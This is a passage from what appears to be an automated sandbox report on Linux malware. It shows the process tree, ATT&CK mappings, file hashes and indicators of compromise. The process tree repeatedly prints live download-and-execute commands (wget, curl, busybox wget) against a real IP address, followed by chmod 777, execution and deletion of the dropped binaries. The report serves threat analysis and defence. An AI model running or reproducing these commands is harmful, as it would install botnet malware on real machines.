  ./Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:884
- /bin/chmod
  chmod 777 vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  ./vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:890
- /bin/chmod
  chmod 777 All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  ./All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:896
- /bin/chmod
  chmod 777 P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:902
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:908
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	667	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	678	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	684	g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	690	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	704	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	717	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	730	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	743	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	760	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	771	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	777	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	788	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	800	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	815	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	828	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	839	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	845	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	851	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	857	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	863	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	869	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	878	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	886	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	892	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	898	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	904	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	910	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads